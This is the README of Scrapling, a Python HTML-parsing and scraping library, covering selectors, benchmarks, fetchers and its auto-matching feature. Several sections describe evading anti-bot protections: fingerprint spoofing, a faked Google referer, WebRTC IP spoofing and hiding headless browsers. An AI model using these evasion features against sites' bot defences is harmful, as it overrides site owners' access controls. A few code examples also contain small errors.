    • πŸš€ Lightning Fast: Built from the ground up with performance in mind, outperforming most popular Python scraping libraries.
    • πŸ”‹ Memory Efficient: Optimized data structures for minimal memory footprint.
    • ⚑ Fast JSON serialization: 10x faster than standard library.

    Developer Friendly

    • πŸ› οΈ Powerful Navigation API: Easy DOM traversal in all directions.
    • 🧬 Rich Text Processing: All strings have built-in regex, cleaning methods, and more. All elements' attributes are optimized dictionaries that takes less memory than standard dictionaries with added methods.
    • πŸ“ Auto Selectors Generation: Generate robust short and full CSS/XPath selectors for any element.
    • πŸ”Œ Familiar API: Similar to Scrapy/BeautifulSoup and the same pseudo-elements used in Scrapy.
    • πŸ“˜ Type hints: Complete type/doc-strings coverage for future-proofing and best autocompletion support.

    Getting Started

    from scrapling.fetchers import Fetcher

    fetcher = Fetcher(auto_match=False)

    # Do http GET request to a web page and create an Adaptor instance
    page = fetcher.get('https://quotes.toscrape.com/', stealthy_headers=True)
    # Get all text content from all HTML tags in the page except `script` and `style` tags
    page.get_all_text(ignore_tags=('script', 'style'))

    # Get all quotes elements, any of these methods will return a list of strings directly (TextHandlers)
    quotes = page.css('.quote .text::text') # CSS selector
    quotes = page.xpath('//span[@class="text"]/text()') # XPath
    quotes = page.css('.quote').css('.text::text') # Chained selectors
    quotes = [element.text for element in page.css('.quote .text')] # Slower than bulk query above

    # Get the first quote element
    quote = page.css_first('.quote') # same as page.css('.quote').first or page.css('.quote')[0]

    # Tired of selectors? Use find_all/find
    # Get all 'div' HTML tags that one of its 'class' values is 'quote'
    quotes = page.find_all('div', {'class': 'quote'})
    # Same as
    quotes = page.find_all('div', class_='quote')
    quotes = page.find_all(['div'], class_='quote')
    quotes = page.find_all(class_='quote') # and so on...

    # Working with elements
    quote.html_content # Get Inner HTML of this element
    quote.prettify() # Prettified version of Inner HTML above
    quote.attrib # Get that element's attributes
    quote.path # DOM path to element (List of all ancestors from <html> tag till the element itself)

    To keep it simple, all methods can be chained on top of each other!

    Parsing Performance

    Scrapling isn't just powerful - it's also blazing fast. Scrapling implements many best practices, design patterns, and numerous optimizations to save fractions of seconds. All of that while focusing exclusively on parsing HTML documents. Here are benchmarks comparing Scrapling to popular Python libraries in two tests.

    Text Extraction Speed Test (5000 nested elements).

    # Library Time (ms) vs Scrapling
    1 Scrapling 5.44 1.0x
    2 Parsel/Scrapy 5.53 1.017x
    3 Raw Lxml 6.76 1.243x
    4 PyQuery 21.96 4.037x
    5 Selectolax 67.12 12.338x
    6 BS4 with Lxml 1307.03 240.263x
    7 MechanicalSoup 1322.64 243.132x
    8 BS4 with html5lib 3373.75 620.175x

    As you see, Scrapling is on par with Scrapy and slightly faster than Lxml which both libraries are built on top of. These are the closest results to Scrapling. PyQuery is also built on top of Lxml but still, Scrapling is 4 times faster.

    Extraction By Text Speed Test

    Library Time (ms) vs Scrapling
    Scrapling 2.51 1.0x
    AutoScraper 11.41 4.546x

    Scrapling can find elements with more methods and it returns full element Adaptor objects not only the text like AutoScraper. So, to make this test fair, both libraries will extract an element with text, find similar elements, and then extract the text content for all of them. As you see, Scrapling is still 4.5 times faster at the same task.

    All benchmarks' results are an average of 100 runs. See our benchmarks.py for methodology and to run your comparisons.

    Installation

    Scrapling is a breeze to get started with; Starting from version 0.2.9, we require at least Python 3.9 to work.

    pip3 install scrapling

    Then run this command to install browsers' dependencies needed to use Fetcher classes

    scrapling install

    If you have any installation issues, please open an issue.

    Fetching Websites

    Fetchers are interfaces built on top of other libraries with added features that do requests or fetch pages for you in a single request fashion and then return an Adaptor object. This feature was introduced because the only option we had before was to fetch the page as you wanted it, then pass it manually to the Adaptor class to create an Adaptor instance and start playing around with the page.

    Features

    You might be slightly confused by now so let me clear things up. All fetcher-type classes are imported in the same way

    from scrapling.fetchers import Fetcher, StealthyFetcher, PlayWrightFetcher

    All of them can take these initialization arguments: auto_match, huge_tree, keep_comments, keep_cdata, storage, and storage_args, which are the same ones you give to the Adaptor class.

    If you don't want to pass arguments to the generated Adaptor object and want to use the default values, you can use this import instead for cleaner code:

    from scrapling.defaults import Fetcher, AsyncFetcher, StealthyFetcher, PlayWrightFetcher

    then use it right away without initializing like:

    page = StealthyFetcher.fetch('https://example.com') 

    Also, the Response object returned from all fetchers is the same as the Adaptor object except it has these added attributes: status, reason, cookies, headers, history, and request_headers. All cookies, headers, and request_headers are always of type dictionary.

    [!NOTE] The auto_match argument is enabled by default which is the one you should care about the most as you will see later.

    Fetcher

    This class is built on top of httpx with additional configuration options, here you can do GET, POST, PUT, and DELETE requests.

    For all methods, you have stealthy_headers which makes Fetcher create and use real browser's headers then create a referer header as if this request came from Google's search of this URL's domain. It's enabled by default. You can also set the number of retries with the argument retries for all methods and this will make httpx retry requests if it failed for any reason. The default number of retries for all Fetcher methods is 3.

    Hence: All headers generated by stealthy_headers argument can be overwritten by you through the headers argument

    You can route all traffic (HTTP and HTTPS) to a proxy for any of these methods in this format http://username:password@localhost:8030

    >> page = Fetcher().get('https://httpbin.org/get', stealthy_headers=True, follow_redirects=True)
    >> page = Fetcher().post('https://httpbin.org/post', data={'key': 'value'}, proxy='http://username:password@localhost:8030')
    >> page = Fetcher().put('https://httpbin.org/put', data={'key': 'value'})
    >> page = Fetcher().delete('https://httpbin.org/delete')

    For Async requests, you will just replace the import like below:

    >> from scrapling.fetchers import AsyncFetcher
    >> page = await AsyncFetcher().get('https://httpbin.org/get', stealthy_headers=True, follow_redirects=True)
    >> page = await AsyncFetcher().post('https://httpbin.org/post', data={'key': 'value'}, proxy='http://username:password@localhost:8030')
    >> page = await AsyncFetcher().put('https://httpbin.org/put', data={'key': 'value'})
    >> page = await AsyncFetcher().delete('https://httpbin.org/delete')

    StealthyFetcher

    This class is built on top of Camoufox, bypassing most anti-bot protections by default. Scrapling adds extra layers of flavors and configurations to increase performance and undetectability even further.

    >> page = StealthyFetcher().fetch('https://www.browserscan.net/bot-detection')  # Running headless by default
    >> page.status == 200
    True
    >> page = await StealthyFetcher().async_fetch('https://www.browserscan.net/bot-detection') # the async version of fetch
    >> page.status == 200
    True

    Note: all requests done by this fetcher are waiting by default for all JS to be fully loaded and executed so you don't have to :)

    For the sake of simplicity, expand this for the complete list of arguments | Argument | Description | Optional | |:-------------------:|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------:| | url | Target url | ❌ | | headless | Pass `True` to run the browser in headless/hidden (**default**), `virtual` to run it in virtual screen mode, or `False` for headful/visible mode. The `virtual` mode requires having `xvfb` installed. | βœ”οΈ | | block_images | Prevent the loading of images through Firefox preferences. _This can help save your proxy usage but be careful with this option as it makes some websites never finish loading._ | βœ”οΈ | | disable_resources | Drop requests of unnecessary resources for a speed boost. It depends but it made requests ~25% faster in my tests for some websites.
    Requests dropped are of type `font`, `image`, `media`, `beacon`, `object`, `imageset`, `texttrack`, `websocket`, `csp_report`, and `stylesheet`. _This can help save your proxy usage but be careful with this option as it makes some websites never finish loading._ | βœ”οΈ | | google_search | Enabled by default, Scrapling will set the referer header to be as if this request came from a Google search for this website's domain name. | βœ”οΈ | | extra_headers | A dictionary of extra headers to add to the request. _The referer set by the `google_search` argument takes priority over the referer set here if used together._ | βœ”οΈ | | block_webrtc | Blocks WebRTC entirely. | βœ”οΈ | | page_action | Added for automation. A function that takes the `page` object, does the automation you need, then returns `page` again. | βœ”οΈ | | addons | List of Firefox addons to use. **Must be paths to extracted addons.** | βœ”οΈ | | humanize | Humanize the cursor movement. Takes either True or the MAX duration in seconds of the cursor movement. The cursor typically takes up to 1.5 seconds to move across the window. | βœ”οΈ | | allow_webgl | Enabled by default. Disabling it WebGL not recommended as many WAFs now checks if WebGL is enabled. | βœ”οΈ | | geoip | Recommended to use with proxies; Automatically use IP's longitude, latitude, timezone, country, locale, & spoof the WebRTC IP address. It will also calculate and spoof the browser's language based on the distribution of language speakers in the target region. | βœ”οΈ | | disable_ads | Disabled by default, this installs `uBlock Origin` addon on the browser if enabled. | βœ”οΈ | | network_idle | Wait for the page until there are no network connections for at least 500 ms. | βœ”οΈ | | timeout | The timeout in milliseconds that is used in all operations and waits through the page. The default is 30000. | βœ”οΈ | | wait_selector | Wait for a specific css selector to be in a specific state. | βœ”οΈ | | proxy | The proxy to be used with requests, it can be a string or a dictionary with the keys 'server', 'username', and 'password' only. | βœ”οΈ | | os_randomize | If enabled, Scrapling will randomize the OS fingerprints used. The default is Scrapling matching the fingerprints with the current OS. | βœ”οΈ | | wait_selector_state | The state to wait for the selector given with `wait_selector`. _Default state is `attached`._ | βœ”οΈ |

    This list isn't final so expect a lot more additions and flexibility to be added in the next versions!

    PlayWrightFetcher

    This class is built on top of Playwright which currently provides 4 main run options but they can be mixed as you want.

    >> page = PlayWrightFetcher().fetch('https://www.google.com/search?q=%22Scrapling%22', disable_resources=True)  # Vanilla Playwright option
    >> page.css_first("#search a::attr(href)")
    'https://github.com/D4Vinci/Scrapling'
    >> page = await PlayWrightFetcher().async_fetch('https://www.google.com/search?q=%22Scrapling%22', disable_resources=True) # the async version of fetch
    >> page.css_first("#search a::attr(href)")
    'https://github.com/D4Vinci/Scrapling'

    Note: all requests done by this fetcher are waiting by default for all JS to be fully loaded and executed so you don't have to :)

    Using this Fetcher class, you can make requests with: 1) Vanilla Playwright without any modifications other than the ones you chose. 2) Stealthy Playwright with the stealth mode I wrote for it. It's still a WIP but it bypasses many online tests like Sannysoft's. Some of the things this fetcher's stealth mode does include: * Patching the CDP runtime fingerprint. * Mimics some of the real browsers' properties by injecting several JS files and using custom options. * Using custom flags on launch to hide Playwright even more and make it faster. * Generates real browser's headers of the same type and same user OS then append it to the request's headers. 3) Real browsers by passing the real_chrome argument or the CDP URL of your browser to be controlled by the Fetcher and most of the options can be enabled on it. 4) NSTBrowser's docker browserless option by passing the CDP URL and enabling nstbrowser_mode option.

    Hence using the real_chrome argument requires that you have Chrome browser installed on your device

    Add that to a lot of controlling/hiding options as you will see in the arguments list below.

    Expand this for the complete list of arguments | Argument | Description | Optional | |:-------------------:|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------:| | url | Target url | ❌ | | headless | Pass `True` to run the browser in headless/hidden (**default**), or `False` for headful/visible mode. | βœ”οΈ | | disable_resources | Drop requests of unnecessary resources for a speed boost. It depends but it made requests ~25% faster in my tests for some websites.
    Requests dropped are of type `font`, `image`, `media`, `beacon`, `object`, `imageset`, `texttrack`, `websocket`, `csp_report`, and `stylesheet`. _This can help save your proxy usage but be careful with this option as it makes some websites never finish loading._ | βœ”οΈ | | useragent | Pass a useragent string to be used. **Otherwise the fetcher will generate a real Useragent of the same browser and use it.** | βœ”οΈ | | network_idle | Wait for the page until there are no network connections for at least 500 ms. | βœ”οΈ | | timeout | The timeout in milliseconds that is used in all operations and waits through the page. The default is 30000. | βœ”οΈ | | page_action | Added for automation. A function that takes the `page` object, does the automation you need, then returns `page` again. | βœ”οΈ | | wait_selector | Wait for a specific css selector to be in a specific state. | βœ”οΈ | | wait_selector_state | The state to wait for the selector given with `wait_selector`. _Default state is `attached`._ | βœ”οΈ | | google_search | Enabled by default, Scrapling will set the referer header to be as if this request came from a Google search for this website's domain name. | βœ”οΈ | | extra_headers | A dictionary of extra headers to add to the request. The referer set by the `google_search` argument takes priority over the referer set here if used together. | βœ”οΈ | | proxy | The proxy to be used with requests, it can be a string or a dictionary with the keys 'server', 'username', and 'password' only. | βœ”οΈ | | hide_canvas | Add random noise to canvas operations to prevent fingerprinting. | βœ”οΈ | | disable_webgl | Disables WebGL and WebGL 2.0 support entirely. | βœ”οΈ | | stealth | Enables stealth mode, always check the documentation to see what stealth mode does currently. | βœ”οΈ | | real_chrome | If you have Chrome browser installed on your device, enable this and the Fetcher will launch an instance of your browser and use it. | βœ”οΈ | | locale | Set the locale for the browser if wanted. The default value is `en-US`. | βœ”οΈ | | cdp_url | Instead of launching a new browser instance, connect to this CDP URL to control real browsers/NSTBrowser through CDP. | βœ”οΈ | | nstbrowser_mode | Enables NSTBrowser mode, **it have to be used with `cdp_url` argument or it will get completely ignored.** | βœ”οΈ | | nstbrowser_config | The config you want to send with requests to the NSTBrowser. _If left empty, Scrapling defaults to an optimized NSTBrowser's docker browserless config._ | βœ”οΈ |

    This list isn't final so expect a lot more additions and flexibility to be added in the next versions!

    Advanced Parsing Features

    Smart Navigation

    >>> quote.tag
    'div'

    >>> quote.parent
    <data='<div class="col-md-8"> <div class="quote...' parent='<div class="row"> <div class="col-md-8">...'>

    >>> quote.parent.tag
    'div'

    >>> quote.children
    [<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>,
    <data='<span>by <small class="author" itemprop=...' parent='<div class="quote" itemscope itemtype="h...'>,
    <data='<div class="tags"> Tags: <meta class="ke...' parent='<div class="quote" itemscope itemtype="h...'>]

    >>> quote.siblings
    [<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    ...]

    >>> quote.next # gets the next element, the same logic applies to `quote.previous`
    <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>

    >>> quote.children.css_first(".author::text")
    'Albert Einstein'

    >>> quote.has_class('quote')
    True

    # Generate new selectors for any element
    >>> quote.generate_css_selector
    'body > div > div:nth-of-type(2) > div > div'

    # Test these selectors on your favorite browser or reuse them again in the library's methods!
    >>> quote.generate_xpath_selector
    '//body/div/div[2]/div/div'

    If your case needs more than the element's parent, you can iterate over the whole ancestors' tree of any element like below

    for ancestor in quote.iterancestors():
    # do something with it...

    You can search for a specific ancestor of an element that satisfies a function, all you need to do is to pass a function that takes an Adaptor object as an argument and return True if the condition satisfies or False otherwise like below:

    >>> quote.find_ancestor(lambda ancestor: ancestor.has_class('row'))
    <data='<div class="row"> <div class="col-md-8">...' parent='<div class="container"> <div class="row...'>

    Content-based Selection & Finding Similar Elements

    You can select elements by their text content in multiple ways, here's a full example on another website:

    >>> page = Fetcher().get('https://books.toscrape.com/index.html')

    >>> page.find_by_text('Tipping the Velvet') # Find the first element whose text fully matches this text
    <data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>

    >>> page.urljoin(page.find_by_text('Tipping the Velvet').attrib['href']) # We use `page.urljoin` to return the full URL from the relative `href`
    'https://books.toscrape.com/catalogue/tipping-the-velvet_999/index.html'

    >>> page.find_by_text('Tipping the Velvet', first_match=False) # Get all matches if there are more
    [<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>]

    >>> page.find_by_regex(r'Β£[\d\.]+') # Get the first element that its text content matches my price regex
    <data='<p class="price_color">Β£51.77</p>' parent='<div class="product_price"> <p class="pr...'>

    >>> page.find_by_regex(r'Β£[\d\.]+', first_match=False) # Get all elements that matches my price regex
    [<data='<p class="price_color">Β£51.77</p>' parent='<div class="product_price"> <p class="pr...'>,
    <data='<p class="price_color">Β£53.74</p>' parent='<div class="product_price"> <p class="pr...'>,
    <data='<p class="price_color">Β£50.10</p>' parent='<div class="product_price"> <p class="pr...'>,
    <data='<p class="price_color">Β£47.82</p>' parent='<div class="product_price"> <p class="pr...'>,
    ...]

    Find all elements that are similar to the current element in location and attributes

    # For this case, ignore the 'title' attribute while matching
    >>> page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title'])
    [<data='<a href="catalogue/a-light-in-the-attic_...' parent='<h3><a href="catalogue/a-light-in-the-at...'>,
    <data='<a href="catalogue/soumission_998/index....' parent='<h3><a href="catalogue/soumission_998/in...'>,
    <data='<a href="catalogue/sharp-objects_997/ind...' parent='<h3><a href="catalogue/sharp-objects_997...'>,
    ...]

    # You will notice that the number of elements is 19 not 20 because the current element is not included.
    >>> len(page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title']))
    19

    # Get the `href` attribute from all similar elements
    >>> [element.attrib['href'] for element in page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title'])]
    ['catalogue/a-light-in-the-attic_1000/index.html',
    'catalogue/soumission_998/index.html',
    'catalogue/sharp-objects_997/index.html',
    ...]

    To increase the complexity a little bit, let's say we want to get all books' data using that element as a starting point for some reason

    >>> for product in page.find_by_text('Tipping the Velvet').parent.parent.find_similar():
    print({
    "name": product.css_first('h3 a::text'),
    "price": product.css_first('.price_color').re_first(r'[\d\.]+'),
    "stock": product.css('.availability::text')[-1].clean()
    })
    {'name': 'A Light in the ...', 'price': '51.77', 'stock': 'In stock'}
    {'name': 'Soumission', 'price': '50.10', 'stock': 'In stock'}
    {'name': 'Sharp Objects', 'price': '47.82', 'stock': 'In stock'}
    ...

    The documentation will provide more advanced examples.

    Handling Structural Changes

    Let's say you are scraping a page with a structure like this:

    <div class="container">
    <section class="products">
    <article class="product" id="p1">
    <h3>Product 1</h3>
    <p class="description">Description 1</p>
    </article>
    <article class="product" id="p2">
    <h3>Product 2</h3>
    <p class="description">Description 2</p>
    </article>
    </section>
    </div>

    And you want to scrape the first product, the one with the p1 ID. You will probably write a selector like this

    page.css('#p1')

    When website owners implement structural changes like

    <div class="new-container">
    <div class="product-wrapper">
    <section class="products">
    <article class="product new-class" data-id="p1">
    <div class="product-info">
    <h3>Product 1</h3>
    <p class="new-description">Description 1</p>
    </div>
    </article>
    <article class="product new-class" data-id="p2">
    <div class="product-info">
    <h3>Product 2</h3>
    <p class="new-description">Description 2</p>
    </div>
    </article>
    </section>
    </div>
    </div>

    The selector will no longer function and your code needs maintenance. That's where Scrapling's auto-matching feature comes into play.

    from scrapling.parser import Adaptor
    # Before the change
    page = Adaptor(page_source, url='example.com')
    element = page.css('#p1' auto_save=True)
    if not element: # One day website changes?
    element = page.css('#p1', auto_match=True) # Scrapling still finds it!
    # the rest of the code...

    How does the auto-matching work? Check the FAQs section for that and other possible issues while auto-matching.

    Real-World Scenario

    Let's use a real website as an example and use one of the fetchers to fetch its source. To do this we need to find a website that will change its design/structure soon, take a copy of its source then wait for the website to make the change. Of course, that's nearly impossible to know unless I know the website's owner but that will make it a staged test haha.

    To solve this issue, I will use The Web Archive's Wayback Machine. Here is a copy of StackOverFlow's website in 2010, pretty old huh?Let's test if the automatch feature can extract the same button in the old design from 2010 and the current design using the same selector :)

    If I want to extract the Questions button from the old design I can use a selector like this #hmenus > div:nth-child(1) > ul > li:nth-child(1) > a This selector is too specific because it was generated by Google Chrome. Now let's test the same selector in both versions

    >> from scrapling.fetchers import Fetcher
    >> selector = '#hmenus > div:nth-child(1) > ul > li:nth-child(1) > a'
    >> old_url = "https://web.archive.org/web/20100102003420/http://stackoverflow.com/"
    >> new_url = "https://stackoverflow.com/"
    >>
    >> page = Fetcher(automatch_domain='stackoverflow.com').get(old_url, timeout=30)
    >> element1 = page.css_first(selector, auto_save=True)
    >>
    >> # Same selector but used in the updated website
    >> page = Fetcher(automatch_domain="stackoverflow.com").get(new_url)
    >> element2 = page.css_first(selector, auto_match=True)
    >>
    >> if element1.text == element2.text:
    ... print('Scrapling found the same element in the old design and the new design!')
    'Scrapling found the same element in the old design and the new design!'

    Note that I used a new argument called automatch_domain, this is because for Scrapling these are two different URLs, not the website so it isolates their data. To tell Scrapling they are the same website, we then pass the domain we want to use for saving auto-match data for them both so Scrapling doesn't isolate them.

    In a real-world scenario, the code will be the same except it will use the same URL for both requests so you won't need to use the automatch_domain argument. This is the closest example I can give to real-world cases so I hope it didn't confuse you :)

    Notes: 1. For the two examples above I used one time the Adaptor class and the second time the Fetcher class just to show you that you can create the Adaptor object by yourself if you have the source or fetch the source using any Fetcher class then it will create the Adaptor object for you. 2. Passing the auto_save argument with the auto_match argument set to False while initializing the Adaptor/Fetcher object will only result in ignoring the auto_save argument value and the following warning message text Argument `auto_save` will be ignored because `auto_match` wasn't enabled on initialization. Check docs for more info. This behavior is purely for performance reasons so the database gets created/connected only when you are planning to use the auto-matching features. Same case with the auto_match argument.

    1. The auto_match parameter works only for Adaptor instances not Adaptors so if you do something like this you will get an error python page.css('body').css('#p1', auto_match=True) because you can't auto-match a whole list, you have to be specific and do something like python page.css_first('body').css('#p1', auto_match=True)

    Find elements by filters

    Inspired by BeautifulSoup's find_all function you can find elements by using find_all/find methods. Both methods can take multiple types of filters and return all elements in the pages that all these filters apply to.

    • To be more specific:
    • Any string passed is considered a tag name
    • Any iterable passed like List/Tuple/Set is considered an iterable of tag names.
    • Any dictionary is considered a mapping of HTML element(s) attribute names and attribute values.
    • Any regex patterns passed are used as filters to elements by their text content
    • Any functions passed are used as filters
    • Any keyword argument passed is considered as an HTML element attribute with its value.

    So the way it works is after collecting all passed arguments and keywords, each filter passes its results to the following filter in a waterfall-like filtering system.
    It filters all elements in the current page/element in the following order:

    1. All elements with the passed tag name(s).
    2. All elements that match all passed attribute(s).
    3. All elements that its text content match all passed regex patterns.
    4. All elements that fulfill all passed function(s).

    Note: The filtering process always starts from the first filter it finds in the filtering order above so if no tag name(s) are passed but attributes are passed, the process starts from that layer and so on. But the order in which you pass the arguments doesn't matter.

    Examples to clear any confusion :)

    >> from scrapling.fetchers import Fetcher
    >> page = Fetcher().get('https://quotes.toscrape.com/')
    # Find all elements with tag name `div`.
    >> page.find_all('div')
    [<data='<div class="container"> <div class="row...' parent='<body> <div class="container"> <div clas...'>,
    <data='<div class="row header-box"> <div class=...' parent='<div class="container"> <div class="row...'>,
    ...]

    # Find all div elements with a class that equals `quote`.
    >> page.find_all('div', class_='quote')
    [<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    ...]

    # Same as above.
    >> page.find_all('div', {'class': 'quote'})
    [<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    ...]

    # Find all elements with a class that equals `quote`.
    >> page.find_all({'class': 'quote'})
    [<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    ...]

    # Find all div elements with a class that equals `quote`, and contains the element `.text` which contains the word 'world' in its content.
    >> page.find_all('div', {'class': 'quote'}, lambda e: "world" in e.css_first('.text::text'))
    [<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>]

    # Find all elements that don't have children.
    >> page.find_all(lambda element: len(element.children) > 0)
    [<data='<html lang="en"><head><meta charset="UTF...'>,
    <data='<head><meta charset="UTF-8"><title>Quote...' parent='<html lang="en"><head><meta charset="UTF...'>,
    <data='<body> <div class="container"> <div clas...' parent='<html lang="en"><head><meta charset="UTF...'>,
    ...]

    # Find all elements that contain the word 'world' in its content.
    >> page.find_all(lambda element: "world" in element.text)
    [<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>,
    <data='<a class="tag" href="/tag/world/page/1/"...' parent='<div class="tags"> Tags: <meta class="ke...'>]

    # Find all span elements that match the given regex
    >> page.find_all('span', re.compile(r'world'))
    [<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>]

    # Find all div and span elements with class 'quote' (No span elements like that so only div returned)
    >> page.find_all(['div', 'span'], {'class': 'quote'})
    [<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
    ...]

    # Mix things up
    >> page.find_all({'itemtype':"http://schema.org/CreativeWork"}, 'div').css('.author::text')
    ['Albert Einstein',
    'J.K. Rowling',
    ...]

    Is That All?

    Here's what else you can do with Scrapling:

    • Accessing the lxml.etree object itself of any element directly python >>> quote._root <Element div at 0x107f98870>
    • Saving and retrieving elements manually to auto-match them outside the css and the xpath methods but you have to set the identifier by yourself.

    • To save an element to the database: python >>> element = page.find_by_text('Tipping the Velvet', first_match=True) >>> page.save(element, 'my_special_element')

    • Now later when you want to retrieve it and relocate it inside the page with auto-matching, it would be like this python >>> element_dict = page.retrieve('my_special_element') >>> page.relocate(element_dict, adaptor_type=True) [<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>] >>> page.relocate(element_dict, adaptor_type=True).css('::text') ['Tipping the Velvet']
    • if you want to keep it as lxml.etree object, leave the adaptor_type argument python >>> page.relocate(element_dict) [<Element a at 0x105a2a7b0>]

    • Filtering results based on a function

    # Find all products over $50
    expensive_products = page.css('.product_pod').filter(
    lambda p: float(p.css('.price_color').re_first(r'[\d\.]+')) > 50
    )
    • Searching results for the first one that matches a function
    # Find all the products with price '53.23'
    page.css('.product_pod').search(
    lambda p: float(p.css('.price_color').re_first(r'[\d\.]+')) == 54.23
    )
    • Doing operations on element content is the same as scrapy python quote.re(r'regex_pattern') # Get all strings (TextHandlers) that match the regex pattern quote.re_first(r'regex_pattern') # Get the first string (TextHandler) only quote.json() # If the content text is jsonable, then convert it to json using `orjson` which is 10x faster than the standard json library and provides more options except that you can do more with them like python quote.re( r'regex_pattern', replace_entities=True, # Character entity references are replaced by their corresponding character clean_match=True, # This will ignore all whitespaces and consecutive spaces while matching case_sensitive= False, # Set the regex to ignore letters case while compiling it ) Hence all of these methods are methods from the TextHandler within that contains the text content so the same can be done directly if you call the .text property or equivalent selector function.

    • Doing operations on the text content itself includes

    • Cleaning the text from any white spaces and replacing consecutive spaces with single space python quote.clean()
    • You already know about the regex matching and the fast json parsing but did you know that all strings returned from the regex search are actually TextHandler objects too? so in cases where you have for example a JS object assigned to a JS variable inside JS code and want to extract it with regex and then convert it to json object, in other libraries, these would be more than 1 line of code but here you can do it in 1 line like this python page.xpath('//script/text()').re_first(r'var dataLayer = (.+);').json()
    • Sort all characters in the string as if it were a list and return the new string python quote.sort(reverse=False)

      To be clear, TextHandler is a sub-class of Python's str so all normal operations/methods that work with Python strings will work with it.

    • Any element's attributes are not exactly a dictionary but a sub-class of mapping called AttributesHandler that's read-only so it's faster and string values returned are actually TextHandler objects so all operations above can be done on them, standard dictionary operations that don't modify the data, and more :)

    • Unlike standard dictionaries, here you can search by values too and can do partial searches. It might be handy in some cases (returns a generator of matches) python >>> for item in element.attrib.search_values('catalogue', partial=True): print(item) {'href': 'catalogue/tipping-the-velvet_999/index.html'}
    • Serialize the current attributes to JSON bytes: python >>> element.attrib.json_string b'{"href":"catalogue/tipping-the-velvet_999/index.html","title":"Tipping the Velvet"}'
    • Converting it to a normal dictionary python >>> dict(element.attrib) {'href': 'catalogue/tipping-the-velvet_999/index.html', 'title': 'Tipping the Velvet'}

    Scrapling is under active development so expect many more features coming soon :)

    More Advanced Usage

    There are a lot of deep details skipped here to make this as short as possible so to take a deep dive, head to the docs section. I will try to keep it updated as possible and add complex examples. There I will explain points like how to write your storage system, write spiders that don't depend on selectors at all, and more...

    Note that implementing your storage system can be complex as there are some strict rules such as inheriting from the same abstract class, following the singleton design pattern used in other classes, and more. So make sure to read the docs first.

    [!IMPORTANT] A website is needed to provide detailed library documentation.
    I'm trying to rush creating the website, researching new ideas, and adding more features/tests/benchmarks but time is tight with too many spinning plates between work, personal life, and working on Scrapling. I have been working on Scrapling for months for free after all.

    If you like Scrapling and want it to keep improving then this is a friendly reminder that you can help by supporting me through the sponsor button.

    ⚑ Enlightening Questions and FAQs

    This section addresses common questions about Scrapling, please read this section before opening an issue.

    How does auto-matching work?

    1. You need to get a working selector and run it at least once with methods css or xpath with the auto_save parameter set to True before structural changes happen.
    2. Before returning results for you, Scrapling uses its configured database and saves unique properties about that element.
    3. Now because everything about the element can be changed or removed, nothing from the element can be used as a unique identifier for the database. To solve this issue, I made the storage system rely on two things:

      1. The domain of the URL you gave while initializing the first Adaptor object
      2. The identifier parameter you passed to the method while selecting. If you didn't pass one, then the selector string itself will be used as an identifier but remember you will have to use it as an identifier value later when the structure changes and you want to pass the new selector.

      Together both are used to retrieve the element's unique properties from the database later. 4. Now later when you enable the auto_match parameter for both the Adaptor instance and the method call. The element properties are retrieved and Scrapling loops over all elements in the page and compares each one's unique properties to the unique properties we already have for this element and a score is calculated for each one. 5. Comparing elements is not exact but more about finding how similar these values are, so everything is taken into consideration, even the values' order, like the order in which the element class names were written before and the order in which the same element class names are written now. 6. The score for each element is stored in the table, and the element(s) with the highest combined similarity scores are returned.

    How does the auto-matching work if I didn't pass a URL while initializing the Adaptor object?

    Not a big problem as it depends on your usage. The word default will be used in place of the URL field while saving the element's unique properties. So this will only be an issue if you used the same identifier later for a different website that you didn't pass the URL parameter while initializing it as well. The save process will overwrite the previous data and auto-matching uses the latest saved properties only.

    If all things about an element can change or get removed, what are the unique properties to be saved?

    For each element, Scrapling will extract: - Element tag name, text, attributes (names and values), siblings (tag names only), and path (tag names only). - Element's parent tag name, attributes (names and values), and text.

    I have enabled the auto_save/auto_match parameter while selecting and it got completely ignored with a warning message

    That's because passing the auto_save/auto_match argument without setting auto_match to True while initializing the Adaptor object will only result in ignoring the auto_save/auto_match argument value. This behavior is purely for performance reasons so the database gets created only when you are planning to use the auto-matching features.

    I have done everything as the docs but the auto-matching didn't return anything, what's wrong?

    It could be one of these reasons: 1. No data were saved/stored for this element before. 2. The selector passed is not the one used while storing element data. The solution is simple - Pass the old selector again as an identifier to the method called. - Retrieve the element with the retrieve method using the old selector as identifier then save it again with the save method and the new selector as identifier. - Start using the identifier argument more often if you are planning to use every new selector from now on. 3. The website had some extreme structural changes like a new full design. If this happens a lot with this website, the solution would be to make your code as selector-free as possible using Scrapling features.

